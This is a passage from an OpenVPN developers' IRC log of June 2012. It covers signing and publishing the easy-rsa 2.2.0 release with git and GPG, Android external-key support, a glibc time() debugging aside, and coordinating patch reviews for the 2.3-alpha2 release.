suggest I tag this as? 07:15 <@mattock> and "git am" is special in that it does the changes (=patches files), does "git add" and then "git commit" 07:15 <@mattock> v2.2.0? 07:16 <@dazo> +1 07:16 < ecrist> for my tiny brain, can you write the command as I should use it? 07:17 < ecrist> git tag -u 9D7367F3 -s v2.2.0 ? ? 07:17 <@dazo> ecrist: correct 07:17 < ecrist> what are the ? ? parts 07:17 < ecrist> commitish/branch name 07:17 <@dazo> if you don't add them ... it will take the current HEAD (the latest commit) 07:17 < ecrist> or do I not need those 07:17 <@dazo> (latest commit in the currently checked out branch) 07:17 <@mattock> uh, more git magic for me to digest 07:18 <@dazo> ecrist: you don't need them ... it's more if you have added commits later on and wants to add a tag at an earlier stage 07:19 < ecrist> ok, so I with through that, and I get this: http://pastebin.ca/2165011 07:20 < ecrist> I was never asked for my private key phrase 07:20 <@dazo> that's because of the gpg signing ... 07:20 < ecrist> yeah, I know 07:20 < ecrist> what am I doing wrong, aside from everything? 07:20 < ecrist> :) 07:21 <@dazo> you're doing it right ... I have passphrases on all my gpg keys, so this is kind of expected for me 07:21 <@mattock> why isn't it asking for the passphrase? 07:22 * dazo gets a GUI dialogue if he is doing it locally 07:24 <@mattock> ecrist: looking at the man-page, you'd probably want to make the GPG key setting persist: 07:24 <@mattock> git config --global user.signingkey keyid 07:25 <@mattock> not sure why the passphrase dialog is missing 07:29 < ecrist> that's a problem. 07:29 < ecrist> usually it just works on my mac 07:29 <@dazo> ecrist: could it be a window just hiding somewhere on your screen? 07:30 <@dazo> git calls 'gpg' under the hood ... git doesn't do the gpg stuff itself 07:30 < ecrist> maybe it just hasn't done it yet 07:30 <@mattock> dazo: I'm having a silly issue with the build: plugins: set default ... patch 07:30 <@dazo> mattock: oh? 07:30 < ecrist> I tried to run the command again and it says the tag already exists 07:31 <@mattock> exporting it in an mbox format and using git am fails 07:31 <@mattock> not sure why, it has worked fine so far 07:31 <@dazo> ecrist: try 'git tag -v v2.2.0' ... and 'git show v2.2.0' 07:31 <@mattock> maybe GPG interacted with OS X keychain 07:31 <@dazo> could be 07:31 <@mattock> so that it didn't need to ask for the passphrase 07:32 <@mattock> in that case, all would be fine 07:32 < ecrist> oh, that's right, I *do* have that in my keychain on my mac 07:32 < ecrist> ;) 07:32 <@dazo> if 'git tag -v' passes ... all is fine :) 07:32 < ecrist> yeah, it's signed 07:32 < ecrist> sometimes these macs work TOO well 07:32 <@dazo> hehehe 07:33 < ecrist> ok, so for the git push 07:33 < ecrist> what is origin master? 07:33 <@dazo> origin is the default name for the remote repository 07:33 <@dazo> master is the default working branch ... kind of like 'trunk' in svn 07:33 < ecrist> ok 07:34 <@dazo> git remote -v ... lists all remote repositories you have configured 07:34 < ecrist> can I save the username/password for github, or no? 07:35 <@dazo> ecrist: should be doable using ssh-agent or something like that ... if you upload your ssh pubkey to github 07:36 < ecrist> looks like git is using HTTPS, not ssh 07:36 < ecrist> ecrist@swordfish:~/easy-rsa-> git push --tags origin master 07:36 < ecrist> Username: 07:36 < ecrist> Password: 07:36 < ecrist> error: The requested URL returned error: 403 while accessing https://github.com/OpenVPN/easy-rsa.git/info/refs 07:36 <@dazo> ahh, then I doublt it ... I'm only using ssh for pushes 07:36 < ecrist> I'll have to look into that 07:37 < ecrist> mattock: can you look at github and see if I did that commit right? 07:37 <@mattock> yep 07:38 <@mattock> look ok, I'll check the tags 07:38 <@mattock> yeah, even the tag was pushed 07:38 <@mattock> I did a "git pull --rebase origin" and got the new tag (v2.2.0) 07:38 <@dazo> looks good to me ... however, you would probably want to drop the '_master' part of the version string in configure.ac 07:39 <@dazo> but rather add it again later on after the release ... to separate if it's the git version or an official release 07:39 < ecrist> I was thinking that, but didn't want do do so without knowing more of how that's used. 07:39 <@dazo> if you do 'make dist' now, the tar file will be called easy-rsa-2.2.0_master.tar.gz 07:40 <@mattock> dazo: yep, so just before tagging the tree change it to "2.2.0" and afterwards back to, say, "2.2.1_master" or something? 07:40 < ecrist> can't we just update the Makefile (or create one) that strips the master from the tarball name? 07:40 <@dazo> and if you also keep a ChangeLog in the repo ... commiting that together with the configure.ac change would be nice 07:41 <@dazo> ecrist: yeah, but that's more hassle in the long run ... as make dist does a lot of magic 07:41 <@mattock> and it's nice to have configure.ac with the correct version 07:41 <@mattock> at all times 07:41 <@dazo> in the moment you do make dist; you'll get a tar ball which can be extracted on all systems - without needing autotools at all ... only a shell is required 07:41 <@mattock> anyways, I think I can live with easy-rsa-2.2.0_master.tar.gz :) 07:42 <@dazo> yeah, at least for now :) 07:42 < ecrist> ok 07:42 <@mattock> let's fix configure.ac prior to next release 07:42 < ecrist> so, for signing, how do you guys want me to do that? 07:42 <@mattock> I was thinking that you could sign the release tarball with your gpg key 07:42 <@dazo> +1 07:43 <@mattock> put the public key somewhere, and add instructions on how to verify the integrity of the archive 07:43 < ecrist> on next release, edit configure.ac, remove _master, run make dist, re-add _master to version, tag, commit, push, right? 07:43 <@mattock> that's the way I see it 07:43 <@dazo> ecrist: you can even do 'make distcheck' ... which will even test if the packaged ./configure will work out-of-the-box 07:43 <@mattock> ecrist: if you look at openvpn.net downloads page, you'll get a link to "this is how you verify GPG signatures of the files" page 07:44 <@mattock> something like that makes sense I think 07:44 < ecrist> ok, I'll add my public key to git, perhaps? and I'll add a README with instructions how to verify? 07:44 <@mattock> hmm, I think that's doable, yes 07:44 <@dazo> yeah, makes sense 07:45 <@mattock> we could also add instructions to the easy-rsa GitHub wiki 07:46 <@mattock> not sure if having them in an external location is more secure or not 07:47 < ecrist> I'm just going to use my GPG key, which is on key servers. 07:47 <@mattock> dazo: could you try extracting the patch I talked about earlier? 07:47 < ecrist> I'll refer to both in the README 07:48 <@mattock> I failed 07:48 <@mattock> ok, sounds good 07:48 <@dazo> mattock: which patch was that? 07:49 < ecrist> mattock: the link for 'Instructions for verifying the signatures are available here.' at the bottomo of the downloads page points to an internal URL 07:50 <@mattock> dazo: just a sec, it might be on github 07:50 <@mattock> nope 07:51 <@mattock> latest (third) version of "build: plugins: set defaults using a complex..." 07:51 <@mattock> "This removes the Linux from the help string." 07:53 < ecrist> mattock: should I do a detach-sign, and give you both the tarball and the signature? 07:53 <@mattock> uh, need to google to see what ecrist is talking about :) 07:55 <@mattock> ah yes, now I see 07:55 <@dazo> mattock: this onw? http://article.gmane.org/gmane.network.openvpn.devel/6795 07:55 <@dazo> ecrist: yeah, detach-sign is what we've done so far 07:55 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 07:55 <@mattock> dazo: the next one 07:55 <@mattock> "This removes the Linux from the..." 07:56 <@dazo> I understood that one just as a comment to the former mail 07:56 <@mattock> hmm, I'll check 07:56 <@dazo> The one I pointed you at is the latest patch from Alon 07:56 <@mattock> ok, my bad 07:56 <@mattock> I'll see if I can apply the _real_ patch email, then :) 07:57 <@dazo> no worries :) 07:58 <@mattock> ah yes, now it applied properly 07:58 <@mattock> even "git am" can't figure everything out itself 07:59 <@mattock> retrying build with Alon's fix applied 07:59 <@mattock> earlier build failed, whether I had --enable-plugin-pam enabled or not (as enabled was the default, I think) 07:59 <@mattock> let's see if it works now 08:03 < ecrist> mattock: where do you want the tarball + signature? 08:03 < ecrist> github? 08:04 <@mattock> you can put it there and I can copy them to build.openvpn.net and swupdate.openvpn.net 08:05 < ecrist> the files are there now 08:06 <@mattock> ok, excellent! 08:08 <@dazo> ecrist: what I would recommend you to do ... is to setup a copy of your git tree on a server only you have access to. And then you can push to that box as well ... as if github or sf.net is ever compromised, you have a source to compare against which should not be good 08:10 <@mattock> you can push using SSH, no need for fancy webservers or anything like in svn 08:10 < ecrist> ooh 08:10 <@dazo> if you have a box called homeserver with a $HOME /home/ecrist ... do mkdir easy-rsa.git on that box, enter this directory and do: git --bare init ... on your mac, you can the do: git remote add home ssh://ecrist@homeserver/home/ecrist/easy-rsa.git ... and then do: git push home 08:10 < plaisthos> (svn can use ssh too, but not of that much use since ssh + centralized usually does not work that well) 08:11 <@mattock> yep, been there 08:12 <@mattock> nice, here is the first easy-rsa release, courtesy of ecrist: https://github.com/OpenVPN/easy-rsa/downloads 08:12 <@vpnHelper> Title: Downloads · OpenVPN/easy-rsa · GitHub (at github.com) 08:12 <@dazo> good job! :) 08:14 < ecrist> w00t 08:14 <@dazo> btw ... I have a 'git push-all' script, which can push to a predefined list of servers ... if anyone is interested 08:16 <@mattock> now also here: 08:16 <@mattock> http://swupdate.openvpn.net/community/releases/easy-rsa-2.2.0_master.tar.gz 08:16 <@mattock> http://build.openvpn.net/downloads/releases/easy-rsa-2.2.0_master.tar.gz 08:16 <@mattock> add .asc to get the signatures 08:17 <@mattock> Alon's patch seems to have done the trick it was supposed to, I'll ACK it in just a second 08:17 <@dazo> mattock: thx! 08:26 < ecrist> sanity check here, to add the README, I create the file, git add, git commit, git push? 08:26 <@dazo> ecrist: correct 08:27 < ecrist> do I still do git push --tags origin master 08:27 < ecrist> or just git push? 08:27 <@mattock> ecrist: one good reason for a buildsystem in easy-rsa... we might want to add an NSIS Windows installer for it in the future 08:28 < ecrist> mattock: not a bad idea 08:28 <@mattock> openvpn has it, tap-windows has it, and easy-rsa might have it 08:28 <@dazo> ecrist: git push only pushes commit objects ... while git push --tags will only push tag objects 08:28 < ecrist> ok 08:28 <@mattock> in easy-rsa's case, it would be fairly trivial to create an NSI script 08:33 <@mattock> ok, ACK on it's way 08:34 < ecrist> ah, I can only use SSH keys if I clone the ssh url 08:34 <@mattock_> on GitHub? 08:34 < ecrist> yeah 08:35 <@mattock_> yep, I think so 08:35 <@dazo> afaik, yes 08:35 < ecrist> got it now 08:35 < ecrist> :D 08:35 < ecrist> they DO have a way to cache credentials for HTTPS, though 08:35 < ecrist> I prefer ssh 09:51 <@vpnHelper> RSS Update - testtrac: build: plugins: set defaults based on platform <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5a57e201223f7265af0a56859b00a594b0d98f5b> || Added notes about upgrading from 2.3-alpha1 and earlier to INSTALL-win32.txt <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0e77af9e2e3c66150fc26760bdee1172d888f911> 09:52 <@dazo> mattock/mattock_: Still waiting on your ack on this one ... http://article.gmane.org/gmane.network.openvpn.devel/6383 09:52 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 10:32 <@dazo> mattock_: always gets silent when I mention that patch ... 10:32 * dazo wonders if it is magic .... 11:03 -!- dazo is now known as dazo_afk 11:07 <@mattock> dazo: ah, missed that one 11:08 <@mattock> not avoiding it or anything like that :) 11:08 <@mattock> although, I'll avoid it for today, still waiting for James to clarify his ACK on the UCS-2 / UTF-8 patch 11:34 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:34 < ecrist> is there a way to flush the OpenVPN mac cache, or remove an entry from it? 13:34 < ecrist> dazo/anyone? 13:39 <@raidz> ecrist, just try rebooting your mac, i swears it will fix it, my brother taught me how 13:39 <@raidz> j/k 13:43 < ecrist> heh 13:44 < ecrist> we run a cursed bridged VPN at $work, and we had a box at the office today, ran it to the DC, and OpenVPN thinks it's still at the office 14:02 <@raidz> LOL 14:03 <@raidz> I will see if james has any info on that ecrist 14:05 < ecrist> thanks 14:08 <@raidz> ecrist: (12:07:53 PM) james: in mroute.h, struct mroute_helper, I believe if you increment cache_generation it effectively invalidates the cache 14:28 < ecrist> how do I do that? 15:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:07 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 19:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 20:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jun 28 2012 02:09 -!- dazo_afk is now known as dazo 04:01 < plaisthos> *sigh* 04:01 < plaisthos> Android 4.1 is out and does the keystore thing right 04:02 < plaisthos> You can't get the private keys anymore but have to use the java encyrption/decryption functions 04:16 <@dazo> heh ... annoying that people start doing the right things ;-) 04:17 <@dazo> plaisthos: I believe it now is possible to pass over the PKI data via the management interface .... if that simplifies things for you 04:19 < plaisthos> dazo: I cannot get the private key and I think openvpn cannot not handle "hardware keys", right? 04:20 <@dazo> plaisthos: "hardware keys", I believe is to be tackled via OpenSSL (I doubt PolarSSL have that support yet) 04:20 <@dazo> there is the pkcs11 interface as well, to handle such things 04:20 < plaisthos> I will look into that 04:21 <@dazo> plaisthos: look at commit cf69617bbea45a15423c4188daa9386debcbe1ec 04:22 <@dazo> "This option can be used instead of "key" in client mode, and allows the client to run without the need to load the actual private key" 04:22 < plaisthos> dazo: ah thanks 04:24 * dazo hopes that solves the challenge better 04:24 < plaisthos> using that should be possible 04:24 <@dazo> \o/ 04:24 <@dazo> :) 04:24 < plaisthos> I have to figure out this crazy java x509securitymanager api 04:24 < plaisthos> but that should be doable 04:25 <@dazo> cool :) 05:31 < plaisthos> (I hope the crypto Java Api is somewhat sane) 05:57 <@cron2> crypto, java, and x509 in one sentence - and you expect sanity? :) 05:57 < plaisthos> nah 05:58 < plaisthos> i did not write sane, I only hoped for somewhat sane :) 06:01 < plaisthos> propblaby the RSA_sign function is called completly different like SSLSignFactory.getSigner().getMethod("RSA").setChecksum("SHA1") .... 06:13 * dazo just realised that he wouldn't have dug into OpenVPN if it had been written in Java ....... 06:15 < plaisthos> hm 06:15 < plaisthos> the commit does mention what rsa signing has to be done 06:16 < plaisthos> And I have trouble finding it in the code 06:16 < plaisthos> RSA_sign is not used directly 06:17 <@dazo> I have not dug into that commit, more than reading the commit message ... but maybe mattock and raidz_afk can tempt James to come here at some point where you could discuss it more directly? 06:18 < plaisthos> well I have will look into the code directly 06:18 <@dazo> (or write him an e-mail, which might get answered ... but don't try the ML address; he doesn't respond often to those) 06:18 < plaisthos> but it is not obvious on the first look 06:18 <@dazo> plaisthos: you mean there are code paths which looks obvious at first look in OpenVPN? ;-) 06:18 < plaisthos> dazo: :) 06:45 < plaisthos> I was not that wrong, you actually do this: 06:45 < plaisthos> Cipher rsasinger = javax.crypto.Cipher.getInstance("RSA/ECB/PKCS1PADDING"); 06:45 < plaisthos> rsasinger.init(Cipher.ENCRYPT_MODE, privkey); 06:46 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 06:47 < novaflash> hey guys. just wondering where to go to report on a bug/feature request on openvpn gui? 06:51 <@dazo> novaflash: here's a good starter, I'd say ... http://sourceforge.net/projects/openvpn-gui 06:51 <@vpnHelper> Title: OpenVPN GUI | Free Security & Utilities software downloads at SourceForge.net (at sourceforge.net) 06:55 <@cron2> dazo: oh, there's a few code path that *look* obvious at *first* look. 06:55 <@cron2> ... the surprises come later :-) 06:58 < novaflash> hey dazo, thanks. 06:58 < novaflash> i already figured this thing out 06:58 < novaflash> turns out the openvpn gui version 1.0.3 downloadable through openvpn.net is different from the openvpn gui version 1.0.3 i just downloaded from sourceforge 06:58 < novaflash> i can see the version numbers really make sense eh 07:08 < plaisthos> .oO(Randomized version number, $rand.$rand.$rand to everyone to madeness) 07:08 < novaflash> sounds about right 07:17 <@cron2> novaflash: d12fk is working on this 07:17 < novaflash> what, right now? :-D 07:18 <@cron2> more "since months, and more to come" :) - bringing the gui to the point where a new release instead of just snapshots makes sense 07:37 < novaflash> ah i see 07:37 < novaflash> well it's still mighty confusing that the version on openvpn.net says 1.0.3 but it's not the same 1.0.3 as the 1.0.3 on sourceforge 07:38 < novaflash> i wish they'd just point the openvpn gui 1.0.3 straight to sourceforge's download page instead 07:38 < novaflash> i ended up with an older version that didn't let me change language settings and didn't refresh the config files 07:39 < novaflash> in my long and painful quest to find an answer to this problem i ventured into the land of sourceforge and there the mighty download wizard got me to the correct file and now it all works 07:39 < novaflash> anyways, just thought i'd mention that the download pages on openvpn.net have that little problem 07:56 <@dazo> novaflash: just have some patience ... 2.3 will come with an updated GUI 08:07 < novaflash> okidoki 08:16 < ecrist> dazo or cron2 - do you have any idea if it's posible to flush the mac table in openvpn? specifically in a bridged configuration 08:16 <@dazo> ecrist: I doubt it is possible without modifying openvpn somewhat 08:16 < ecrist> we even tried restarting openvpn, and it's not clearing. 08:18 <@dazo> huh!? ... then it sounds like an OS thing ... esp. the bridge layer, as that probably does its own caching 08:18 <@dazo> which OS is this? 08:20 < ecrist> he restarted the wrong end of the vpn tunnel 08:20 < ecrist> would still be useful to have a more sensical timeout 08:21 <@dazo> so restarting on the right side of the tunnel worked? 08:22 < ecrist> yes 08:22 < ecrist> I think there's a use for a configurable timeout for the mac table, though 08:23 < ecrist> we are about about 22 hours since we moved the two boxes, and those mac addresses were still listed in openvpn's table 08:23 < ecrist> they should have timed out long ago 08:23 <@dazo> okay, well, then considering to add a TTL on the cache entries might make sense ... however, that can make the interaction with plug-ins fun .... 08:23 <@dazo> which version are you running on the server? 08:24 < ecrist> old one, 2.1.4 in this case 08:24 <@dazo> okay, good to know 08:24 <@dazo> just wanted to be sure it wasn't a regression we've pulled in :) 08:26 < ecrist> fortunately, we don't often move boxes from one end of the VPN to the other 08:27 < ecrist> these were new server builds we started at the office and moved mid-morning to our DC 08:43 <@d12fk> check this out http://pastebin.com/DqgPSJbe 08:43 <@d12fk> trivia: if you run it on a 32bit linux it runs forever, on 64bit is breaks after a short while 08:44 <@d12fk> and you don't see the time(2) call with strace on 64bit. where does it get the time from? 08:44 <@d12fk> also breaks on openbsd for other resons 08:44 <@d12fk> all intel arch 08:46 <@dazo> on 64bit you have some neat tricks with gettimeofday() ... not sure what time() uses under the hood ... but there are some register caching on such calls 08:46 <@dazo> depending on some vsyscall settings 08:46 <@d12fk> but should it see gettimeofday with strace instead? 08:46 * dazo tries to find that doc 08:48 <@dazo> this gives somewhat some clues ... I'll try to dig up some more ... http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_MRG/1.1/html/Realtime_Tuning_Guide/sect-Realtime_Tuning_Guide-General_System_Tuning-gettimeofday_speedup.html 08:48 <@vpnHelper> Title: 2.5. gettimeofday speedup (at docs.redhat.com) 08:50 <@d12fk> very interesting this might be it.. off testing 08:50 <@dazo> and this syscall64 tunable is only available on 64bit kernels 08:56 < plaisthos> The external-key feature one these features which is documented nowhere 08:57 <@dazo> plaisthos: yupp, that's unfortunately correct ... :/ 09:01 <@d12fk> dazo: is that VDSO proc switch special to redhat, don't find it on a 64bit debian 09:02 <@dazo> shouldn't be ... but I believe you need a 2.6.33 or newer kernel or so 09:03 <@dazo> (it's at least an upstream feature in the preempt-rt patch set) 09:03 <@d12fk> whatever, i'll sleep tonight with that background at least =) 09:03 <@d12fk> ah /proc/sys/kernel/vsyscall64 09:03 <@dazo> :) 09:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:04 <@dazo> remember that strace traces syscalls ... so if the glibc implementation of time() (trying to look at that code) uses the VDSO, it wouldn't be a syscall at all ... that's why you don't see it ... at least, that's my hypothesis :) 09:04 <@d12fk> i'm pretty positive that's what I came up to with as well =) 09:05 <@dazo> time_t 09:05 <@dazo> time (timer) 09:05 <@dazo> time_t *timer; 09:05 <@dazo> { 09:05 <@dazo> __set_errno (ENOSYS); 09:05 <@dazo> if (timer != NULL) 09:05 <@dazo> *timer = (time_t) -1; 09:05 <@dazo> return (time_t) -1; 09:05 <@dazo> } 09:05 <@dazo> you kind of wonder how this works .... 09:05 <@d12fk> it's libc, i stopped trying to understand it a while ago 09:06 <@dazo> :) 09:06 <@d12fk> 2arg vs. 3 arg open is similar shit 09:08 <@dazo> yeah, I can imagine 09:08 <@d12fk> ok with vsyscall64 set to 0 it behaves normally 09:08 <@d12fk> i guess i'll let our kernel ppl dig further from now 09:08 <@dazo> :) 09:08 <@d12fk> thanks much dazo 09:09 <@dazo> you're very welcome :) 09:40 <@d12fk> if there' s a meeting today i won't make it 09:41 <@d12fk> i have to watch a certain football game where a certain italian team will be sent home =) 09:52 * dazo wonders if there's any Italians here now .... 09:52 <@dazo> (if so, tomorrow could turn out to become quite amusing ... no matter the result :-P) 10:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:21 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 10:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 10:27 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:41 <@mattock> asked james to come to the IRC around meeting time so that we can sort out the final 2.3-alpha2 blockers 10:42 <@mattock> hopefully he's not too swamped today 10:48 <@dazo> I'll try to be around then 10:48 <@dazo> mattock: and if you can look at that patch I've pulled up a few times ... I can apply it, if you ACK it 10:53 <@mattock> yeah, I'll do that now 10:55 -!- raidz_afk is now known as raidz 11:05 -!- dazo is now known as dazo_afk 11:53 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 12:03 <@mattock> damn, had to start debugging the openvpn-build/msvc buildsystem just to test the patch... 12:07 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:14 < plaisthos> :) 12:15 < plaisthos> --key fails with EXTERNAL_PRIVATE_KEY: No such file or directory 12:15 * plaisthos sighs 12:29 < plaisthos> it worked 12:29 < plaisthos> I can't believe it using external-key worked 12:31 <@cron2> hooray :) 12:33 < plaisthos> preparing openvpn patch :p 12:55 -!- dazo_afk is now known as dazo 12:56 <@dazo> plaisthos++ 12:56 <@dazo> mattock: any words from james? 13:01 <@mattock> ah, forgot to mention 13:01 <@mattock> he should be here shortly 13:04 < plaisthos> I will be gone now 13:05 * plaisthos does not about potential cleanups if a feature is broken 13:47 <@mattock> hmm 13:48 <@mattock> ah, james had something else scheduled for 18:00 UTC, but he said he'll review the UCS-2/UTF-8 patch and sign my GPG key later today 13:49 <@dazo> hmm ... okay 14:01 <@cron2> two children are definitely more fun than one... *yawn*... took over an hour to bring #1 to bed, and now #2 decided that her belly is aching... 14:08 <@dazo> ouch 14:34 -!- dazo is now known as dazo_afk 14:39 < ecrist> hehe 14:39 < ecrist> cron2: don't worry, only another 18 years or so 14:58 <@cron2> ecrist: yeah, I know... 17:10 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Read error: Operation timed out] 17:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 18:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:01 -!- raidz is now known as raidz_afk 20:45 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 264 seconds] --- Day changed Fri Jun 29 2012 01:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 01:58 -!- dazo_afk is now known as dazo 02:37 <@mattock> no news from James, I'll try to poke him again, or we can ACK the UCS-2/UTF-8 patch ourselves... I'm 99% sure James was fine with it, 02:37 <@mattock> provided it's tested on Windows 7 02:40 <@dazo> mattock: but have you acked the other msvc patch? 02:40 <@mattock> well, I just got the damn thing to build 02:41 <@mattock> I'll get an ACK out in ~1 hour 02:41 <@dazo> mattock: reg. James .... but if we don't have a clear ACK ... how will you figure out this later on when you want to do another review of our patches? 02:41 <@dazo> thx! 02:42 <@mattock> another review? 02:42 <@mattock> ah 02:42 <@mattock> I won't :) 02:42 <@dazo> hehehe 02:42 <@mattock> it's just that it can take time for James to do anything, and I'm not sure the ACK (from him) is worth waiting a week 02:42 <@dazo> I meant another commit tracking survey ... 02:43 <@mattock> at worst, that is 02:43 <@dazo> yeah, I can agree to that 02:43 <@dazo> If we don't get an explicit ACK ... I'm rather considering lazy-consensus 02:43 <@mattock> same with his GPG signature to my key, I suggested that I sign the release files and he signs my key later 02:44 <@mattock> does not really matter much I think 02:45 <@dazo> okay, I'll apply the utf-8 with lazy consensus then, to get it out 02:45 <@mattock> you can add "Tested-by:" me 02:45 <@dazo> yeah 02:46 <@mattock> btw. we got a bunch of visual studio warnings again 02:46 <@mattock> I'll put them out somewhere while I'm at it 02:46 <@dazo> ugh ... okay, lets do that and we'll see 02:47 <@mattock> takes a while to build again, so that I get the log to a file 02:49 <@mattock> oh, regarding the TAP-Windows package... I'll try to insert the 2.3-alpha1 tap-driver into the installer, not sure if I encounter any issues 02:49 <@dazo> goodie, makes sense 02:49 <@mattock> the problem is that tap-windows has it's own installer, and I'm not sure if that installer is embedded into the openvpn installer or not 02:49 <@mattock> or just the actual driver 02:49 <@mattock> and with all the signing going on things might break 02:50 <@dazo> ugh 02:50 <@mattock> in that case, I'd suggest using tap-windows from GitHub as-is for 2.3-alpha2, and rebuild the tree for 2.3-beta1 02:51 <@mattock> otherwise we're in a world of hurt :) 02:51 <@dazo> We shouldn't release anything which isn't built on official repos ... otherwise, we'll just create even more mess ... then we should fix up the wintap stuff first 02:52 * dazo don't like such shortcuts 02:55 <@mattock> ok, let's fix tap-windows first, then 02:56 <@mattock> in fact, I'd rather fix that first, rather than take a shortcut but embedding 2.3-alpha1 driver into 2.3-alpha2 :) 02:56 <@dazo> I'll try to squeeze that in today, and you can review things ... but we need to get Alons patches ACKed ... or do we do lazy consensus there? 02:56 <@mattock> rebuilding is fairly straightforward, isn't it? 02:56 <@mattock> I'd do lazy consensus for the 8(?) patches 02:56 <@mattock> they've been out there for several months 02:56 <@dazo> it'll take a little bit time, but it's not that hard 02:56 <@mattock> and we've heard no complaints 02:57 <@mattock> let's aim for release on Monday, then 02:57 <@mattock> I doubt today is realistic 02:57 <@dazo> well, we haven't released anything official with those patches either ;-) 02:57 <@mattock> yeah, that's true also 02:57 * dazo have a goal to have it completed within 2 hours 02:57 * dazo wants to tag the tree today! :) 02:57 <@mattock> I think the tap-windows patches were reviewed and ACK, but I'm not sure 02:57 <@mattock> that's a good goal 02:57 <@mattock> MSVC build warnings here, btw: http://pastebin.com/qaPy3k6j 02:58 <@mattock> signed/unsigned mismatches 02:58 <@mattock> let me know if you want that on the ml 02:58 <@mattock> Alon might fix that, he's so eager 02:59 <@dazo> heh ... well, that's hitting the same discussion we had about one of plaisthos' patches last week .... I'll have a poke at it ... these warnings aren't necessarily critical 02:59 <@dazo> I don't like to silence warnings, just for the sake of silencing them 03:04 <@cron2> *yawn* 03:13 <@vpnHelper> RSS Update - testtrac: cleanup: windows: convert argv (UCS-2 to UTF-8) at earliest <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=74370aa89df9285a95084616e9c2d3c8464760b9> 03:19 <@mattock> ACK sent 03:20 <@mattock> I'll get on with release announcements 03:26 <@dazo> Okay, I'll create the changelog stuff and tag the tree now 03:31 <@vpnHelper> RSS Update - testtrac: build: msvc: chdir with change drive to script location <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6d2b65ad322e587efaf43c1b8cf6da8c36cf1ae1> 03:37 <@mattock> changelog forming in here: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23#OpenVPN2.3-alpha2 03:37 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 03:50 <@mattock> updated, look somewhat better now 03:52 <@mattock> dazo: let me know when the tree is tagged and I'll generate the Deb/RPM packages 03:52 <@mattock> tap-windows will have to wait a while 03:52 <@dazo> mattock: waiting for buildbot to complete ... then I'll push it out 03:52 <@mattock> ... ok 03:52 <@mattock> do you have changelog somewhere, or shall I generate it? 03:53 <@dazo> I have it 03:53 <@dazo> just a sec 03:53 <@mattock> also, we probably should generate changelogs for the included subprojects, too 03:53 <@mattock> to give credit 03:53 <@mattock> at least easy-rsa and tap-windows I think 03:54 <@mattock> hmm, actually, if we go that route, we'd need to add openvpn-gui changelog also 03:54 <@mattock> what to do, what to do... 03:54 <@dazo> yeah, we need to figure out that ... even though each sub project should (IMO) have their own ChangeLog 03:54 <@dazo> http://www.fpaste.org/7OrU/ 03:54 <@mattock> it probably gets messy if we add all changelogs in the world 03:55 <@dazo> we can ship them, just have different names on them ... nothing bad about that 03:57 <@mattock> yeah 03:58 <@mattock> dazo: any things you'd like to mention as "major features" in here: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23#OpenVPN2.3-alpha2 03:58 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 04:00 <@dazo> Completely new build system, a lot of bugfixes, stabilising the PolarSSL support, enabled IPv6 support on OSX and general code cleanup 04:00 <@dazo> Improved UTF-8 support in Windows 04:11 <@mattock> added easy-rsa changelog here: https://community.openvpn.net/openvpn/wiki/ChangesInEasyRsa2.2 04:11 <@vpnHelper> Title: ChangesInEasyRsa2.2 – OpenVPN Community (at community.openvpn.net) 04:11 <@mattock> ecrist: ^^^ 04:21 <@mattock> https://community.openvpn.net/openvpn/wiki/GettingEasyRsa 04:21 <@vpnHelper> Title: GettingEasyRsa – OpenVPN Community (at community.openvpn.net) 04:29 <@mattock> https://community.openvpn.net/openvpn/wiki/GettingOpenvpnBuild 04:29 <@vpnHelper> Title: GettingOpenvpnBuild – OpenVPN Community (at community.openvpn.net) 04:38 <@mattock> ouch, man-page -> html required again... 04:41 <@mattock> 